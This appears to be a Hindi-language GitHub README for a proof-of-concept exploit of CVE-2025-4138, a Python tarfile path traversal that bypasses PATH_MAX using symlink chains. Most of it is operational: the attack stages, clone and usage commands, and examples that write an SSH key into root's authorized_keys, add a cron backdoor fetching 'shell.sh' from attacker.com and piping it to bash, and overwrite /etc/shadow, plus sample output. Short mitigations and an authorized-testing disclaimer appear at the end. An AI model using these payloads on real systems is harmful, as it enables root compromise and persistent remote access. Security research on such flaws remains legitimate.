
CVE-2025-4138 के लिए Python PoC, Python के tarfile मॉड्यूल में एक पाथ ट्रैवर्सल, जो PATH_MAX को बायपास करके मनमानी फ़ाइल लिखने के लिए सिमलिंक श्रृंखलाओं का दुरुपयोग करता है।
tarfile PATH_MAX बाईपास PoCलेखक: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
CVE-2025-4138 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Python के tarfile मॉड्यूल में एक पाथ ट्रैवर्सल भेद्यता है। यह भेद्यता एक हमलावर को एक दुर्भावनापूर्ण tar संग्रह तैयार करने की अनुमति देती है जो इच्छित निष्कर्षण निर्देशिका के बाहर मनमाने स्थानों पर फ़ाइलें लिखती है, सिमलिंक श्रृंखलाओं का दुरुपयोग करके PATH_MAX से अधिक हो जाता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-4138 |
| घटक | Python tarfile मॉड्यूल |
| प्रकार | पाथ ट्रैवर्सल (CWE-22) |
| वेक्टर | सिमलिंक श्रृंखला + PATH_MAX बाईपास |
| प्रभाव | निष्कर्षण निर्देशिका के बाहर मनमाना फ़ाइल लेखन |
यह एक्सप्लॉइट चार चरणों में काम करता है:
Path Inflation -- गहराई से नेस्टेड निर्देशिकाओं और सिमलिंक की एक श्रृंखला बनाई जाती है ताकि पूर्ण रूप से हल किया गया पथ कर्नेल की PATH_MAX सीमा (Linux पर 4096 बाइट्स) से अधिक हो जाए।
Pivot Symlink -- एक सिमलिंक जोड़ा जाता है जिसका हल किया गया पथ PATH_MAX सीमा को पार कर जाता है। क्योंकि पथ हल करने के लिए बहुत लंबा है, Python के tarfile सुरक्षा जाँच (जो os.path.realpath() पर निर्भर करती हैं) चुपचाप विफल हो जाती हैं और सत्यापन छोड़ देती हैं।
Escape Symlink -- एक दूसरा सिमलिंक पिवट के माध्यम से ../ ट्रैवर्सल का उपयोग करके निष्कर्षण निर्देशिका से पूरी तरह बाहर निकल जाता है और फाइलसिस्टम पर हमलावर-नियंत्रित निरपेक्ष पथ की ओर इंगित करता है।
Payload Drop -- एस्केप सिमलिंक के माध्यम से एक नियमित फ़ाइल लिखी जाती है, जो हमलावर-नियंत्रित सामग्री और अनुमतियों के साथ लक्ष्य पथ पर पहुँचती है।
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
कोई बाहरी निर्भरता आवश्यक नहीं है -- एक्सप्लॉइट केवल Python 3 मानक पुस्तकालय मॉड्यूल का उपयोग करता है।
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| फ़्लैग | विवरण |
|---|---|
-o, --output | आउटपुट टारबॉल पथ (डिफ़ॉल्ट: exploit.tar) |
-t, --target | लक्ष्य पर लिखी जाने वाली फ़ाइल का निरपेक्ष पथ (डिफ़ॉल्ट: /root/.ssh/authorized_keys) |
-p, --payload | उस फ़ाइल का पथ जिसकी सामग्री पेलोड बन जाती है |
-s, --payload-string | पेलोड के रूप में एक शाब्दिक स्ट्रिंग का उपयोग करें |
-k, --ssh-key | SSH सार्वजनिक कुंजी फ़ाइल का पथ |
-m, --mode | अष्टक (octal) में फ़ाइल अनुमति मोड (डिफ़ॉल्ट: 0600) |
-d, --depth | निर्देशिका ट्रैवर्सल गहराई (डिफ़ॉल्ट: 8) |
-v, --verify | निर्माण के बाद टारबॉल सामग्री डंप करें |
-q, --quiet | बैनर दबाएँ |
रूट के authorized_keys में एक SSH सार्वजनिक कुंजी लिखें:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
पर्सिस्टेंस के लिए एक क्रॉन जॉब लिखें:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
स्थानीय फ़ाइल से मनमाना फ़ाइल सामग्री लिखें:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (Python 3.12+) का उपयोग करें जो सख्त निष्कर्षण नियंत्रण प्रदान करता है।--strip-components का उपयोग करें या निष्कर्षण से पहले संग्रह सामग्री को सत्यापित करें।fs.protected_symlinks)।यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। जिन सिस्टमों के आप स्वामी नहीं हैं, उनके विरुद्ध परीक्षण करने से पहले हमेशा उचित लिखित प्राधिकरण प्राप्त करें।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।
d3vn0mi | GitHub